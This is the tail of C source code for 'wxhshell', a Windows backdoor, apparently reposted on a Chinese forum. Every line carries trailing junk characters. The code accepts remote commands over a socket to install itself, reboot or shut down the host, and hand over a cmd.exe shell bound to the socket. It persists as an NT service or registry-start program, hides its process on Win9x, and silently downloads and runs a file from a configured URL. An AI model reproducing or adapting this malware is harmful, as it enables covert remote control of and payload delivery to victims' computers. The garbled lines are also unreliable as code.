  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q6"r^w Wx  
  } S :9zz  
  else { '0/t|V<  
Jr 9\j3J{  
    switch(cmd[0]) { *.W ![%Be  
  e9N"{kDs6  
  // 帮助 gnx!_H\h<  
  case '?': { b^6Ooc/-k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 60^dzi!vs  
    break; u@[D*c1!H  
  } om;jXf}A  
  // 安装 BEifUgCh  
  case 'i': { ]NG`MZ  
    if(Install()) DoNbCVZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~/ iE  
    else 5A:b \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3%!d&j>v  
    break; f{k2sU*uBE  
    } fh}\#WE"  
  // 卸载 iI&J_Y{1a_  
  case 'r': { !NjC+ps]  
    if(Uninstall()) 9q;+ Al^Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G W|~sE +  
    else >/ W:*^g)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qmv%N  
    break; gtVI>D'(W  
    } D~U 4K-  
  // 显示 wxhshell 所在路径 /wH]OD{  
  case 'p': { r;I 3N+  
    char svExeFile[MAX_PATH]; -HS(<V=a?k  
    strcpy(svExeFile,"\n\r"); -:AknQq  
      strcat(svExeFile,ExeFile); .)ZK42Qd  
        send(wsh,svExeFile,strlen(svExeFile),0); _l{G Hz  
    break; *";,HG?|Iz  
    } gGH<%nHW1  
  // 重启 E@Q+[~H}  
  case 'b': { ]B5qv6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Cj u C`7  
    if(Boot(REBOOT)) PIsMx-i0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]fnc.^{  
    else { w=e~ M  
    closesocket(wsh); m9a(f>C  
    ExitThread(0); ^CDQ75tR  
    } A"2k,{d  
    break; tTX2>8Gmr  
    } NYm2fFPc  
  // 关机 BD\xUjd?)Q  
  case 'd': { t+|c)"\5h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0 ua.aL'  
    if(Boot(SHUTDOWN)) #t>w)`bA-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {I&>`?7.  
    else { R%"wf   
    closesocket(wsh); C;-9_;&  
    ExitThread(0); Fi14_{  
    } V<ziJ7H/  
    break; j[.R|I|  
    } FrIguk1  
  // 获取shell <=W;z=$!Bb  
  case 's': { K|[[A)tt6  
    CmdShell(wsh); W`*S?QGzl@  
    closesocket(wsh); 9r+]V=  
    ExitThread(0); J'G 6Z7  
    break; 1 `hj]@.]  
  } rn"'tvhm  
  // 退出 &}_E~jKK  
  case 'x': { /59jkcA+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sk5h_[tK  
    CloseIt(wsh); Fo|6 PoSo  
    break; %AwR4"M  
    } a^ hDxeG  
  // 离开 Eaf6rjD  
  case 'q': { s5_[[:c=^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Rq-BsMX!A  
    closesocket(wsh); D(yU:^L  
    WSACleanup(); <7NY.zvwk]  
    exit(1); 3xj ?}o  
    break; }1 = V`N(  
        } +&6R(7XC  
  } ebxpKtEC  
  } 2Z;wU]  
~>2@55wElp  
  // 提示信息 DgQw`D)+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i0; p?4`m  
} :Q@=;P2  
  } "#anL8  
UIPi<_Xa  
  return; $9k7A 8K  
} | #Z+s-  
CV&+^_j'k  
// shell模块句柄 lO&TSPD^  
int CmdShell(SOCKET sock) gmtp/?>e  
{ 7VQ|3`!<  
STARTUPINFO si; yE1M+x./  
ZeroMemory(&si,sizeof(si)); I-<U u 2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d~ n|F|`:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rG)K?B~  
PROCESS_INFORMATION ProcessInfo; /qM:;:N%j  
char cmdline[]="cmd"; wq+%O,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ElLDSo@WvR  
  return 0; U\dq Mp#Wy  
} W?is8r:  
TN!8J=sx.  
// 自身启动模式 r1dP9MT\8  
int StartFromService(void) H&Jp,<\x  
{ G>"=Af(t?Y  
typedef struct ;n1< 1M>!  
{ 9+><:(,  
  DWORD ExitStatus; _nW{Q-nh  
  DWORD PebBaseAddress; H809gm3(Z  
  DWORD AffinityMask; _gDEIoBp  
  DWORD BasePriority; 2UqLV^ZY  
  ULONG UniqueProcessId; 9C9>V]  
  ULONG InheritedFromUniqueProcessId; "*E06=fiG  
}   PROCESS_BASIC_INFORMATION; )*6 ]m1  
-!w({rP  
PROCNTQSIP NtQueryInformationProcess; 7tbM~+<0  
)> >Tj7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?VUW.-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b/^i  
LEu_RU?  
  HANDLE             hProcess; 21k^MZ  
  PROCESS_BASIC_INFORMATION pbi; &USKudXmb  
_4~'K?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NmbA~i  
  if(NULL == hInst ) return 0; [3KP@'52k  
+q*Cw>t /  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CG!7BP\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "}/$xOl"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _4+'@u #  
{|:ro!&  
  if (!NtQueryInformationProcess) return 0; -l)u`f^n|  
f&5'1tG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4o|-v  
  if(!hProcess) return 0; Cf&.hod  
) H HBf<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O:G5n 5J  
k+nfW]UNF  
  CloseHandle(hProcess); :U>[*zE4&  
5}v<?<l9\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IZw>!KYG  
if(hProcess==NULL) return 0; 0 rge]w.X  
x~ ;1CB  
HMODULE hMod; Uxll<z,  
char procName[255]; a%FM)/oI|T  
unsigned long cbNeeded; d<,'9/a>  
IXA3G7$)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )c;zNs  
>^odV ;^  
  CloseHandle(hProcess); 1ha 8)L  
#.KVT#%~{  
if(strstr(procName,"services")) return 1; // 以服务启动 R}T8cVxc  
WciL zx/  
  return 0; // 注册表启动 _/\U  
} kuX{2h*`  
'c6t,%  
// 主模块 s+omCr|H;A  
int StartWxhshell(LPSTR lpCmdLine) _`Lv@T.  
{ -% ,3qhsd  
  SOCKET wsl; *i`t4N A  
BOOL val=TRUE; Zb? u'Vm=u  
  int port=0; YU]|N 'mL2  
  struct sockaddr_in door; 8c%Sd'+Pt  
e]!`Cl-f80  
  if(wscfg.ws_autoins) Install(); $URL7hrhU  
OZ SM2~  
port=atoi(lpCmdLine); &;x*uG  
rYn)E=FG/  
if(port<=0) port=wscfg.ws_port; q4xP<b^  
D\@)*"  
  WSADATA data; m|by^40A(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .{8?eze[m  
C" 2K U*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   s` $YY_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0e,U&B<W  
  door.sin_family = AF_INET; 3!*qB-d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nQm (UN  
  door.sin_port = htons(port); Kt*kARN?  
*~%QXNn`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {k15!(:i~a  
closesocket(wsl); ~:xR0dqx  
return 1; \b6vu^;p  
} .Z9{\tj  
5\jzIB_?  
  if(listen(wsl,2) == INVALID_SOCKET) { G^W'mV$xl  
closesocket(wsl); pl.x_E,HP  
return 1; %Mxc"% w  
} 8iwH^+h~  
  Wxhshell(wsl); 9Z^\b)x  
  WSACleanup(); "">{8  
E 5N9.t h  
return 0; j FH wu*  
LUfo@R  
} !;U;5e=0  
OBEHUJ5  
// 以NT服务方式启动   B'QcD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \<kQ::o1y  
{ dhCrcYn  
DWORD   status = 0; #DkdFy %`  
  DWORD   specificError = 0xfffffff; Dwa.ZY}-  
E06)&tF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZQI;b0C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l\"wdS}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lz:Q6  
  serviceStatus.dwWin32ExitCode     = 0; bqcwZ6r<  
  serviceStatus.dwServiceSpecificExitCode = 0; .qfU^AHA  
  serviceStatus.dwCheckPoint       = 0; y.,li<  
  serviceStatus.dwWaitHint       = 0; WCL#3uYk"  
rk7d7`V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); SpA-E/el  
  if (hServiceStatusHandle==0) return; MnB Hm!]&  
VxqoE]Dh  
status = GetLastError(); Prqr,  
  if (status!=NO_ERROR) )n{9*{Ch  
{ ^EZ?wdL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {D`_q|  
    serviceStatus.dwCheckPoint       = 0; /kc @ELl  
    serviceStatus.dwWaitHint       = 0; 7Rl/F1G o}  
    serviceStatus.dwWin32ExitCode     = status; :P?zy|aBi  
    serviceStatus.dwServiceSpecificExitCode = specificError; K0^Tg+U($p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iM +p{ /bN  
    return; |gwGCa+  
  } R&@NFin  
:} N;OS_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /" 6Gh'  
  serviceStatus.dwCheckPoint       = 0; 5{\;7(  
  serviceStatus.dwWaitHint       = 0;  hpOK9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uXm}THI  
} %h4|$  
-o B` v'  
// 处理NT服务事件,比如:启动、停止 sL4+O P-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5D<"kT  
{ J"?jaa2~  
switch(fdwControl) (Nn)_caVb  
{ 5z@QAQ  
case SERVICE_CONTROL_STOP: 8ps1Q2|  
  serviceStatus.dwWin32ExitCode = 0; b.mWB`59  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G`R_kg9$  
  serviceStatus.dwCheckPoint   = 0; +1>\o|RF  
  serviceStatus.dwWaitHint     = 0; I7?s+vyds  
  { t6! B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JK^pb0ih  
  } ^.u J]k0  
  return; K?gO ]T{6  
case SERVICE_CONTROL_PAUSE: x>[f+Tc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Igb%bO_  
  break; Bs';!,=  
case SERVICE_CONTROL_CONTINUE: U{ ZKxE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Je#vu`.\\  
  break; o>MB8[r  
case SERVICE_CONTROL_INTERROGATE: ^y2}C$1V  
  break; <~P([5  
}; t&nK5p95(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =fcRH:B:  
} +{[E Ow  
z2god 1"  
// 标准应用程序主函数 i?IV"*Ob1N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mk|*=#e;  
{ Qo])A6$IU  
I^!c1S  
// 获取操作系统版本 mL]5Tnc  
OsIsNt=GetOsVer(); Q0(3ps~H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iuHs.k<z  
laA3v3*  
  // 从命令行安装 ^=,N] j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2/RW(U  
i$dF0.}Q  
  // 下载执行文件 Jk,}3Cr/  
if(wscfg.ws_downexe) { DP=\FG"}x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ({9P, D~2  
  WinExec(wscfg.ws_filenam,SW_HIDE); R~d{Yv  
} gtJCvVj>g  
BTa#}LBZ+  
if(!OsIsNt) { lCK|PY*  
// 如果时win9x,隐藏进程并且设置为注册表启动 'jjJ[16"d  
HideProc(); A}z1~Z+  
StartWxhshell(lpCmdLine); HRW }Yl  
} U_1N*XK6$  
else GL'zNQP-  
  if(StartFromService()) .MI 5?]_  
  // 以服务方式启动 (qg~l@rf  
  StartServiceCtrlDispatcher(DispatchTable); %\?Gzc_  
else n_1,-(t  
  // 普通方式启动 y];@ M<<?e  
  StartWxhshell(lpCmdLine); Ops""#Zi  
?J's>q^X  
return 0; $Y<(~E$FX  
}
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只看该作者 1 发表于: 2006-10-10
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